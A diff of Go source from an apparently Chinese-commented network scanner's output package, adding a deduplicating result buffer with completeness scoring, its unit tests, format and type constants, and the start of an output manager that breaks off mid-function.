||||||
|
})}
|
||||||
|
req, err := http.NewRequestWithContext(context.Background(), http.MethodGet, "http://example.com", nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if resp, err := SafeHTTPDo(client, req); err == nil || resp != nil {
|
||||||
|
t.Fatalf("SafeHTTPDo = resp %#v err %v, want limit error", resp, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,180 @@
|
|||||||
|
package output
|
||||||
|
|
||||||
|
import "sync"
|
||||||
|
|
||||||
|
// ResultBuffer 公共的去重缓冲逻辑,供各Writer复用
|
||||||
|
type ResultBuffer struct {
|
||||||
|
mu sync.Mutex
|
||||||
|
|
||||||
|
// 分类缓冲
|
||||||
|
HostResults []*ScanResult
|
||||||
|
PortResults []*ScanResult
|
||||||
|
ServiceResults []*ScanResult
|
||||||
|
VulnResults []*ScanResult
|
||||||
|
|
||||||
|
// 去重map
|
||||||
|
seenHosts map[string]struct{}
|
||||||
|
seenPorts map[string]struct{}
|
||||||
|
seenServices map[string]int // 存储索引,用于更新更完整的记录
|
||||||
|
seenVulns map[string]struct{}
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewResultBuffer 创建新的结果缓冲
|
||||||
|
func NewResultBuffer() *ResultBuffer {
|
||||||
|
return &ResultBuffer{
|
||||||
|
seenHosts: make(map[string]struct{}, 256),
|
||||||
|
seenPorts: make(map[string]struct{}, 512),
|
||||||
|
seenServices: make(map[string]int, 128),
|
||||||
|
seenVulns: make(map[string]struct{}, 64),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Add 添加结果到缓冲(自动去重)
|
||||||
|
func (b *ResultBuffer) Add(result *ScanResult) {
|
||||||
|
b.mu.Lock()
|
||||||
|
defer b.mu.Unlock()
|
||||||
|
|
||||||
|
if result == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
key := b.generateKey(result)
|
||||||
|
|
||||||
|
switch result.Type {
|
||||||
|
case TypeHost:
|
||||||
|
if _, exists := b.seenHosts[key]; !exists {
|
||||||
|
b.seenHosts[key] = struct{}{}
|
||||||
|
b.HostResults = append(b.HostResults, result)
|
||||||
|
}
|
||||||
|
case TypePort:
|
||||||
|
if _, exists := b.seenPorts[key]; !exists {
|
||||||
|
b.seenPorts[key] = struct{}{}
|
||||||
|
b.PortResults = append(b.PortResults, result)
|
||||||
|
}
|
||||||
|
case TypeService:
|
||||||
|
if idx, exists := b.seenServices[key]; !exists {
|
||||||
|
b.seenServices[key] = len(b.ServiceResults)
|
||||||
|
b.ServiceResults = append(b.ServiceResults, result)
|
||||||
|
} else {
|
||||||
|
b.mergeDetails(b.ServiceResults[idx], result)
|
||||||
|
// 保留信息更完整的记录,同时保留另一条记录补充的字段
|
||||||
|
if b.isMoreComplete(result, b.ServiceResults[idx]) {
|
||||||
|
b.ServiceResults[idx] = result
|
||||||
|
}
|
||||||
|
}
|
||||||
|
case TypeVuln:
|
||||||
|
if _, exists := b.seenVulns[key]; !exists {
|
||||||
|
b.seenVulns[key] = struct{}{}
|
||||||
|
b.VulnResults = append(b.VulnResults, result)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (b *ResultBuffer) mergeDetails(oldResult, newResult *ScanResult) {
|
||||||
|
if oldResult == nil || newResult == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if oldResult.Details == nil {
|
||||||
|
oldResult.Details = make(map[string]interface{})
|
||||||
|
}
|
||||||
|
if newResult.Details == nil {
|
||||||
|
newResult.Details = make(map[string]interface{})
|
||||||
|
}
|
||||||
|
for k, v := range oldResult.Details {
|
||||||
|
if _, exists := newResult.Details[k]; !exists {
|
||||||
|
newResult.Details[k] = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for k, v := range newResult.Details {
|
||||||
|
if _, exists := oldResult.Details[k]; !exists {
|
||||||
|
oldResult.Details[k] = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// generateKey 生成结果的唯一键(用于去重)
|
||||||
|
func (b *ResultBuffer) generateKey(result *ScanResult) string {
|
||||||
|
switch result.Type {
|
||||||
|
case TypeHost:
|
||||||
|
return result.Target
|
||||||
|
case TypePort:
|
||||||
|
if result.Details != nil {
|
||||||
|
if port, ok := result.Details["port"]; ok {
|
||||||
|
return targetWithPort(result.Target, port)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return result.Target
|
||||||
|
case TypeService:
|
||||||
|
return result.Target
|
||||||
|
case TypeVuln:
|
||||||
|
return result.Target + "|" + result.Status
|
||||||
|
default:
|
||||||
|
return result.Target + "|" + result.Status
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// isMoreComplete 判断新记录是否比旧记录信息更完整
|
||||||
|
func (b *ResultBuffer) isMoreComplete(newResult, oldResult *ScanResult) bool {
|
||||||
|
return b.CalculateCompleteness(newResult) > b.CalculateCompleteness(oldResult)
|
||||||
|
}
|
||||||
|
|
||||||
|
// CalculateCompleteness 计算记录的信息完整度
|
||||||
|
func (b *ResultBuffer) CalculateCompleteness(result *ScanResult) int {
|
||||||
|
score := 0
|
||||||
|
if result.Details == nil {
|
||||||
|
return score
|
||||||
|
}
|
||||||
|
|
||||||
|
// 有 status 码加分
|
||||||
|
if status, ok := result.Details["status"]; ok && status != nil && status != 0 {
|
||||||
|
score += 2
|
||||||
|
}
|
||||||
|
// 有 server 加分
|
||||||
|
if server, ok := result.Details["server"].(string); ok && server != "" {
|
||||||
|
score += 2
|
||||||
|
}
|
||||||
|
// 有 title 加分
|
||||||
|
if title, ok := result.Details["title"].(string); ok && title != "" {
|
||||||
|
score += 1
|
||||||
|
}
|
||||||
|
// 有指纹加分
|
||||||
|
if fps := result.Details["fingerprints"]; fps != nil {
|
||||||
|
switch v := fps.(type) {
|
||||||
|
case []string:
|
||||||
|
if len(v) > 0 {
|
||||||
|
score += 3
|
||||||
|
}
|
||||||
|
case []interface{}:
|
||||||
|
if len(v) > 0 {
|
||||||
|
score += 3
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 有 banner 加分
|
||||||
|
if banner, ok := result.Details["banner"].(string); ok && banner != "" {
|
||||||
|
score += 1
|
||||||
|
}
|
||||||
|
|
||||||
|
return score
|
||||||
|
}
|
||||||
|
|
||||||
|
// Summary 获取统计摘要
|
||||||
|
func (b *ResultBuffer) Summary() (hosts, ports, services, vulns int) {
|
||||||
|
b.mu.Lock()
|
||||||
|
defer b.mu.Unlock()
|
||||||
|
return len(b.HostResults), len(b.PortResults), len(b.ServiceResults), len(b.VulnResults)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Clear 清空缓冲
|
||||||
|
func (b *ResultBuffer) Clear() {
|
||||||
|
b.mu.Lock()
|
||||||
|
defer b.mu.Unlock()
|
||||||
|
b.HostResults = nil
|
||||||
|
b.PortResults = nil
|
||||||
|
b.ServiceResults = nil
|
||||||
|
b.VulnResults = nil
|
||||||
|
b.seenHosts = make(map[string]struct{})
|
||||||
|
b.seenPorts = make(map[string]struct{})
|
||||||
|
b.seenServices = make(map[string]int)
|
||||||
|
b.seenVulns = make(map[string]struct{})
|
||||||
|
}
|
||||||
@@ -0,0 +1,475 @@
|
|||||||
|
package output
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"sync"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
/*
|
||||||
|
buffer_test.go - ResultBuffer 高价值测试
|
||||||
|
|
||||||
|
测试重点:
|
||||||
|
1. 去重逻辑 - 不同结果类型的去重策略差异
|
||||||
|
2. 完整度评分 - 决定是否替换已有服务记录
|
||||||
|
3. 并发安全 - 多goroutine同时Add
|
||||||
|
*/
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 基本去重测试
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// TestResultBuffer_HostDeduplication 测试主机去重
|
||||||
|
func TestResultBuffer_HostDeduplication(t *testing.T) {
|
||||||
|
buf := NewResultBuffer()
|
||||||
|
|
||||||
|
// 添加相同主机多次
|
||||||
|
for i := 0; i < 10; i++ {
|
||||||
|
buf.Add(&ScanResult{
|
||||||
|
Type: TypeHost,
|
||||||
|
Target: "192.168.1.1",
|
||||||
|
Status: "alive",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
hosts, _, _, _ := buf.Summary()
|
||||||
|
if hosts != 1 {
|
||||||
|
t.Errorf("主机应去重为1个,实际 %d", hosts)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestResultBuffer_PortDeduplication 测试端口去重
|
||||||
|
func TestResultBuffer_PortDeduplication(t *testing.T) {
|
||||||
|
buf := NewResultBuffer()
|
||||||
|
|
||||||
|
// 相同IP:Port应去重
|
||||||
|
for i := 0; i < 5; i++ {
|
||||||
|
buf.Add(&ScanResult{
|
||||||
|
Type: TypePort,
|
||||||
|
Target: "192.168.1.1",
|
||||||
|
Details: map[string]interface{}{"port": 80},
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// 不同端口不去重
|
||||||
|
buf.Add(&ScanResult{
|
||||||
|
Type: TypePort,
|
||||||
|
Target: "192.168.1.1",
|
||||||
|
Details: map[string]interface{}{"port": 443},
|
||||||
|
})
|
||||||
|
|
||||||
|
_, ports, _, _ := buf.Summary()
|
||||||
|
if ports != 2 {
|
||||||
|
t.Errorf("端口应有2个(80和443),实际 %d", ports)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestResultBuffer_ServiceDeduplication 测试服务去重
|
||||||
|
func TestResultBuffer_ServiceDeduplication(t *testing.T) {
|
||||||
|
buf := NewResultBuffer()
|
||||||
|
|
||||||
|
// 相同Target的服务应去重
|
||||||
|
buf.Add(&ScanResult{
|
||||||
|
Type: TypeService,
|
||||||
|
Target: "192.168.1.1:80",
|
||||||
|
Status: "http",
|
||||||
|
})
|
||||||
|
buf.Add(&ScanResult{
|
||||||
|
Type: TypeService,
|
||||||
|
Target: "192.168.1.1:80",
|
||||||
|
Status: "nginx",
|
||||||
|
})
|
||||||
|
|
||||||
|
_, _, services, _ := buf.Summary()
|
||||||
|
if services != 1 {
|
||||||
|
t.Errorf("相同Target的服务应去重为1个,实际 %d", services)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestResultBuffer_VulnDeduplication 测试漏洞去重
|
||||||
|
func TestResultBuffer_VulnDeduplication(t *testing.T) {
|
||||||
|
buf := NewResultBuffer()
|
||||||
|
|
||||||
|
// 相同Target+Status的漏洞应去重
|
||||||
|
for i := 0; i < 3; i++ {
|
||||||
|
buf.Add(&ScanResult{
|
||||||
|
Type: TypeVuln,
|
||||||
|
Target: "192.168.1.1:445",
|
||||||
|
Status: "MS17-010",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// 不同漏洞不去重
|
||||||
|
buf.Add(&ScanResult{
|
||||||
|
Type: TypeVuln,
|
||||||
|
Target: "192.168.1.1:445",
|
||||||
|
Status: "CVE-2020-0796",
|
||||||
|
})
|
||||||
|
|
||||||
|
_, _, _, vulns := buf.Summary()
|
||||||
|
if vulns != 2 {
|
||||||
|
t.Errorf("漏洞应有2个,实际 %d", vulns)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 完整度评分测试
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// TestResultBuffer_CompletenessScore 测试完整度评分
|
||||||
|
func TestResultBuffer_CompletenessScore(t *testing.T) {
|
||||||
|
buf := NewResultBuffer()
|
||||||
|
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
result *ScanResult
|
||||||
|
expectedScore int
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
name: "空Details",
|
||||||
|
result: &ScanResult{Details: nil},
|
||||||
|
expectedScore: 0,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "只有status",
|
||||||
|
result: &ScanResult{Details: map[string]interface{}{"status": 200}},
|
||||||
|
expectedScore: 2,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "有server",
|
||||||
|
result: &ScanResult{Details: map[string]interface{}{"server": "nginx/1.18.0"}},
|
||||||
|
expectedScore: 2,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "有title",
|
||||||
|
result: &ScanResult{Details: map[string]interface{}{"title": "Welcome"}},
|
||||||
|
expectedScore: 1,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "有指纹-[]string",
|
||||||
|
result: &ScanResult{Details: map[string]interface{}{"fingerprints": []string{"nginx"}}},
|
||||||
|
expectedScore: 3,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "有指纹-[]interface{}",
|
||||||
|
result: &ScanResult{Details: map[string]interface{}{"fingerprints": []interface{}{"apache", "php"}}},
|
||||||
|
expectedScore: 3,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "有banner",
|
||||||
|
result: &ScanResult{Details: map[string]interface{}{"banner": "SSH-2.0-OpenSSH"}},
|
||||||
|
expectedScore: 1,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "完整记录",
|
||||||
|
result: &ScanResult{
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"status": 200,
|
||||||
|
"server": "nginx",
|
||||||
|
"title": "Home",
|
||||||
|
"fingerprints": []string{"nginx", "php"},
|
||||||
|
"banner": "test",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
expectedScore: 9, // 2+2+1+3+1
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
score := buf.CalculateCompleteness(tt.result)
|
||||||
|
if score != tt.expectedScore {
|
||||||
|
t.Errorf("完整度评分 = %d, 期望 %d", score, tt.expectedScore)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestResultBuffer_ServiceUpdate 测试服务记录更新
|
||||||
|
//
|
||||||
|
// 当新记录比旧记录更完整时,应该替换
|
||||||
|
func TestResultBuffer_ServiceUpdate(t *testing.T) {
|
||||||
|
buf := NewResultBuffer()
|
||||||
|
|
||||||
|
// 先添加简单记录
|
||||||
|
buf.Add(&ScanResult{
|
||||||
|
Type: TypeService,
|
||||||
|
Target: "192.168.1.1:80",
|
||||||
|
Status: "http",
|
||||||
|
Details: map[string]interface{}{},
|
||||||
|
})
|
||||||
|
|
||||||
|
// 再添加更完整的记录
|
||||||
|
buf.Add(&ScanResult{
|
||||||
|
Type: TypeService,
|
||||||
|
Target: "192.168.1.1:80",
|
||||||
|
Status: "http",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"status": 200,
|
||||||
|
"server": "nginx/1.18.0",
|
||||||
|
"title": "Welcome",
|
||||||
|
"fingerprints": []string{"nginx", "php"},
|
||||||
|
},
|
||||||
|
})
|
||||||
|
|
||||||
|
_, _, services, _ := buf.Summary()
|
||||||
|
if services != 1 {
|
||||||
|
t.Fatal("服务数量应为1")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 验证是更完整的记录
|
||||||
|
if buf.ServiceResults[0].Details == nil {
|
||||||
|
t.Fatal("Details不应为nil")
|
||||||
|
}
|
||||||
|
if buf.ServiceResults[0].Details["server"] != "nginx/1.18.0" {
|
||||||
|
t.Error("应保留更完整的记录")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestResultBuffer_ServiceUpdateMergesDetails(t *testing.T) {
|
||||||
|
buf := NewResultBuffer()
|
||||||
|
|
||||||
|
buf.Add(&ScanResult{
|
||||||
|
Type: TypeService,
|
||||||
|
Target: "192.168.1.1:80",
|
||||||
|
Status: "identified",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"service": "http",
|
||||||
|
"banner": "HTTP/1.1 200 OK",
|
||||||
|
},
|
||||||
|
})
|
||||||
|
buf.Add(&ScanResult{
|
||||||
|
Type: TypeService,
|
||||||
|
Target: "192.168.1.1:80",
|
||||||
|
Status: "web",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"title": "Home",
|
||||||
|
"status": 200,
|
||||||
|
"server": "nginx",
|
||||||
|
},
|
||||||
|
})
|
||||||
|
|
||||||
|
if len(buf.ServiceResults) != 1 {
|
||||||
|
t.Fatalf("期望1条服务记录,实际 %d", len(buf.ServiceResults))
|
||||||
|
}
|
||||||
|
details := buf.ServiceResults[0].Details
|
||||||
|
for _, key := range []string{"service", "banner", "title", "status", "server"} {
|
||||||
|
if _, ok := details[key]; !ok {
|
||||||
|
t.Errorf("合并后的服务记录缺少字段 %q: %#v", key, details)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestResultBuffer_ServiceNoDowngrade 测试不降级服务记录
|
||||||
|
//
|
||||||
|
// 当新记录不如旧记录完整时,不应替换
|
||||||
|
func TestResultBuffer_ServiceNoDowngrade(t *testing.T) {
|
||||||
|
buf := NewResultBuffer()
|
||||||
|
|
||||||
|
// 先添加完整记录
|
||||||
|
buf.Add(&ScanResult{
|
||||||
|
Type: TypeService,
|
||||||
|
Target: "192.168.1.1:80",
|
||||||
|
Status: "http",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"status": 200,
|
||||||
|
"server": "nginx/1.18.0",
|
||||||
|
"fingerprints": []string{"nginx"},
|
||||||
|
},
|
||||||
|
})
|
||||||
|
|
||||||
|
// 再添加简单记录
|
||||||
|
buf.Add(&ScanResult{
|
||||||
|
Type: TypeService,
|
||||||
|
Target: "192.168.1.1:80",
|
||||||
|
Status: "http",
|
||||||
|
Details: map[string]interface{}{},
|
||||||
|
})
|
||||||
|
|
||||||
|
// 验证仍保留完整记录
|
||||||
|
if buf.ServiceResults[0].Details["server"] != "nginx/1.18.0" {
|
||||||
|
t.Error("不应降级到不完整的记录")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 并发安全测试
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// TestResultBuffer_ConcurrentAdd 测试并发添加
|
||||||
|
func TestResultBuffer_ConcurrentAdd(t *testing.T) {
|
||||||
|
buf := NewResultBuffer()
|
||||||
|
|
||||||
|
const goroutines = 100
|
||||||
|
const resultsPerGoroutine = 100
|
||||||
|
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
wg.Add(goroutines)
|
||||||
|
|
||||||
|
for i := 0; i < goroutines; i++ {
|
||||||
|
go func(id int) {
|
||||||
|
defer wg.Done()
|
||||||
|
for j := 0; j < resultsPerGoroutine; j++ {
|
||||||
|
// 每个goroutine添加不同类型的结果
|
||||||
|
switch j % 4 {
|
||||||
|
case 0:
|
||||||
|
buf.Add(&ScanResult{
|
||||||
|
Type: TypeHost,
|
||||||
|
Target: fmt.Sprintf("192.168.%d.%d", id, j),
|
||||||
|
})
|
||||||
|
case 1:
|
||||||
|
buf.Add(&ScanResult{
|
||||||
|
Type: TypePort,
|
||||||
|
Target: fmt.Sprintf("192.168.%d.%d", id, j),
|
||||||
|
Details: map[string]interface{}{"port": j},
|
||||||
|
})
|
||||||
|
case 2:
|
||||||
|
buf.Add(&ScanResult{
|
||||||
|
Type: TypeService,
|
||||||
|
Target: fmt.Sprintf("192.168.%d.%d:%d", id, j, j),
|
||||||
|
})
|
||||||
|
case 3:
|
||||||
|
buf.Add(&ScanResult{
|
||||||
|
Type: TypeVuln,
|
||||||
|
Target: fmt.Sprintf("192.168.%d.%d", id, j),
|
||||||
|
Status: fmt.Sprintf("CVE-%d", j),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}(i)
|
||||||
|
}
|
||||||
|
|
||||||
|
wg.Wait()
|
||||||
|
|
||||||
|
// 验证没有panic,数据完整
|
||||||
|
hosts, ports, services, vulns := buf.Summary()
|
||||||
|
total := hosts + ports + services + vulns
|
||||||
|
|
||||||
|
if total == 0 {
|
||||||
|
t.Error("并发添加后应有结果")
|
||||||
|
}
|
||||||
|
|
||||||
|
t.Logf("并发测试完成: %d hosts, %d ports, %d services, %d vulns",
|
||||||
|
hosts, ports, services, vulns)
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestResultBuffer_ConcurrentSummary 测试并发获取摘要
|
||||||
|
func TestResultBuffer_ConcurrentSummary(t *testing.T) {
|
||||||
|
buf := NewResultBuffer()
|
||||||
|
|
||||||
|
// 预填充一些数据
|
||||||
|
for i := 0; i < 100; i++ {
|
||||||
|
buf.Add(&ScanResult{
|
||||||
|
Type: TypeHost,
|
||||||
|
Target: fmt.Sprintf("192.168.1.%d", i),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
wg.Add(100)
|
||||||
|
|
||||||
|
for i := 0; i < 100; i++ {
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
// 同时获取摘要和添加
|
||||||
|
buf.Summary()
|
||||||
|
buf.Add(&ScanResult{
|
||||||
|
Type: TypeHost,
|
||||||
|
Target: "10.0.0.1",
|
||||||
|
})
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
wg.Wait()
|
||||||
|
// 没有panic即为成功
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 边界情况测试
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// TestResultBuffer_NilResult 测试nil结果
|
||||||
|
func TestResultBuffer_NilResult(t *testing.T) {
|
||||||
|
buf := NewResultBuffer()
|
||||||
|
buf.Add(nil) // 不应panic
|
||||||
|
|
||||||
|
hosts, ports, services, vulns := buf.Summary()
|
||||||
|
if hosts+ports+services+vulns != 0 {
|
||||||
|
t.Error("添加nil后应无结果")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestResultBuffer_PortWithoutDetails 测试无Details的端口
|
||||||
|
func TestResultBuffer_PortWithoutDetails(t *testing.T) {
|
||||||
|
buf := NewResultBuffer()
|
||||||
|
|
||||||
|
buf.Add(&ScanResult{
|
||||||
|
Type: TypePort,
|
||||||
|
Target: "192.168.1.1",
|
||||||
|
Details: nil,
|
||||||
|
})
|
||||||
|
|
||||||
|
_, ports, _, _ := buf.Summary()
|
||||||
|
if ports != 1 {
|
||||||
|
t.Error("无Details的端口也应被添加")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestResultBuffer_Clear 测试清空
|
||||||
|
func TestResultBuffer_Clear(t *testing.T) {
|
||||||
|
buf := NewResultBuffer()
|
||||||
|
|
||||||
|
// 添加各类结果
|
||||||
|
buf.Add(&ScanResult{Type: TypeHost, Target: "192.168.1.1"})
|
||||||
|
buf.Add(&ScanResult{Type: TypePort, Target: "192.168.1.1", Details: map[string]interface{}{"port": 80}})
|
||||||
|
buf.Add(&ScanResult{Type: TypeService, Target: "192.168.1.1:80"})
|
||||||
|
buf.Add(&ScanResult{Type: TypeVuln, Target: "192.168.1.1", Status: "CVE-2021-1234"})
|
||||||
|
|
||||||
|
// 清空
|
||||||
|
buf.Clear()
|
||||||
|
|
||||||
|
hosts, ports, services, vulns := buf.Summary()
|
||||||
|
if hosts+ports+services+vulns != 0 {
|
||||||
|
t.Error("Clear后应无结果")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 验证可以继续添加
|
||||||
|
buf.Add(&ScanResult{Type: TypeHost, Target: "10.0.0.1"})
|
||||||
|
hosts, _, _, _ = buf.Summary()
|
||||||
|
if hosts != 1 {
|
||||||
|
t.Error("Clear后应能继续添加")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestResultBuffer_EmptyFingerprints 测试空指纹数组
|
||||||
|
func TestResultBuffer_EmptyFingerprints(t *testing.T) {
|
||||||
|
buf := NewResultBuffer()
|
||||||
|
|
||||||
|
// 空字符串数组
|
||||||
|
score1 := buf.CalculateCompleteness(&ScanResult{
|
||||||
|
Details: map[string]interface{}{"fingerprints": []string{}},
|
||||||
|
})
|
||||||
|
if score1 != 0 {
|
||||||
|
t.Errorf("空指纹数组不应加分,实际 %d", score1)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 空interface数组
|
||||||
|
score2 := buf.CalculateCompleteness(&ScanResult{
|
||||||
|
Details: map[string]interface{}{"fingerprints": []interface{}{}},
|
||||||
|
})
|
||||||
|
if score2 != 0 {
|
||||||
|
t.Errorf("空interface数组不应加分,实际 %d", score2)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestResultBuffer_StatusZero 测试status为0
|
||||||
|
func TestResultBuffer_StatusZero(t *testing.T) {
|
||||||
|
buf := NewResultBuffer()
|
||||||
|
|
||||||
|
score := buf.CalculateCompleteness(&ScanResult{
|
||||||
|
Details: map[string]interface{}{"status": 0},
|
||||||
|
})
|
||||||
|
if score != 0 {
|
||||||
|
t.Errorf("status为0不应加分,实际 %d", score)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,58 @@
|
|||||||
|
package output
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
)
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 输出格式常量
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// Format 输出格式类型
|
||||||
|
type Format string
|
||||||
|
|
||||||
|
const (
|
||||||
|
// FormatTXT 文本格式输出
|
||||||
|
FormatTXT Format = "txt"
|
||||||
|
// FormatJSON JSON格式输出
|
||||||
|
FormatJSON Format = "json"
|
||||||
|
// FormatCSV CSV格式输出
|
||||||
|
FormatCSV Format = "csv"
|
||||||
|
)
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 结果类型常量
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// ResultType 定义结果类型
|
||||||
|
type ResultType string
|
||||||
|
|
||||||
|
const (
|
||||||
|
// TypeHost 主机存活
|
||||||
|
TypeHost ResultType = "HOST"
|
||||||
|
// TypePort 端口开放
|
||||||
|
TypePort ResultType = "PORT"
|
||||||
|
// TypeService 服务识别
|
||||||
|
TypeService ResultType = "SERVICE"
|
||||||
|
// TypeVuln 漏洞发现
|
||||||
|
TypeVuln ResultType = "VULN"
|
||||||
|
)
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 文件操作常量
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
const (
|
||||||
|
// DefaultFilePermissions 文件操作权限
|
||||||
|
DefaultFilePermissions = 0644
|
||||||
|
// DefaultDirPermissions 目录操作权限
|
||||||
|
DefaultDirPermissions = 0755
|
||||||
|
|
||||||
|
// DefaultFileFlags 文件打开标志
|
||||||
|
DefaultFileFlags = os.O_CREATE | os.O_WRONLY | os.O_APPEND
|
||||||
|
|
||||||
|
// JSONIndentPrefix JSON格式化前缀
|
||||||
|
JSONIndentPrefix = ""
|
||||||
|
// JSONIndentString JSON格式化缩进字符串
|
||||||
|
JSONIndentString = " "
|
||||||
|
)
|
||||||
@@ -0,0 +1,113 @@
|
|||||||
|
package output
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"sync"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Manager 简化的输出管理器
|
||||||
|
type Manager struct {
|
||||||
|
mu sync.RWMutex
|
||||||
|
config *ManagerConfig
|
||||||
|
writer Writer
|
||||||
|
closed bool
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewManager 创建新的输出管理器
|
||||||
|
func NewManager(config *ManagerConfig) (*Manager, error) {
|
||||||
|
if config == nil {
|
||||||
|
return nil, fmt.Errorf("output config cannot be nil")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建输出目录
|
||||||
|
if err := createOutputDir(config.OutputPath); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
manager := &Manager{
|
||||||
|
config: config,
|
||||||
|
}
|
||||||
|
|
||||||
|
// 初始化写入器(内部会验证格式)
|
||||||
|
if err := manager.initializeWriter(); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
return manager, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// createOutputDir 创建输出目录
|
||||||
|
func createOutputDir(outputPath string) error {
|
||||||
|
dir := filepath.Dir(outputPath)
|
||||||
|
return os.MkdirAll(dir, DefaultDirPermissions)
|
||||||
|
}
|
||||||
|
|
||||||
|
// initializeWriter 初始化写入器
|
||||||
|
func (m *Manager) initializeWriter() error {
|
||||||
|
var writer Writer
|
||||||
|
var err error
|
||||||
|
|
||||||
|
switch m.config.Format {
|
||||||
|
case FormatTXT:
|
||||||
|
writer, err = NewTXTWriter(m.config.OutputPath)
|
||||||
|
case FormatJSON:
|
||||||
|
writer, err = NewJSONWriter(m.config.OutputPath)
|
||||||
|
case FormatCSV:
|
||||||
|
writer, err = NewCSVWriter(m.config.OutputPath)
|
||||||
|
default:
|
||||||
|
return fmt.Errorf("unsupported format: %s", m.config.Format)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
m.writer = writer
|
||||||
|
return m.writer.WriteHeader()
|
||||||
|
}
|
||||||
|
|
||||||
|
// SaveResult 保存扫描结果
|
||||||
|
func (m *Manager) SaveResult(result *ScanResult) error {
|
||||||
|
m.mu.RLock()
|
||||||
|
defer m.mu.RUnlock()
|
||||||
|
|
||||||
|
if m.closed {
|
||||||
|
return fmt.Errorf("output manager is closed")
|
||||||
|
}
|
||||||
|
|
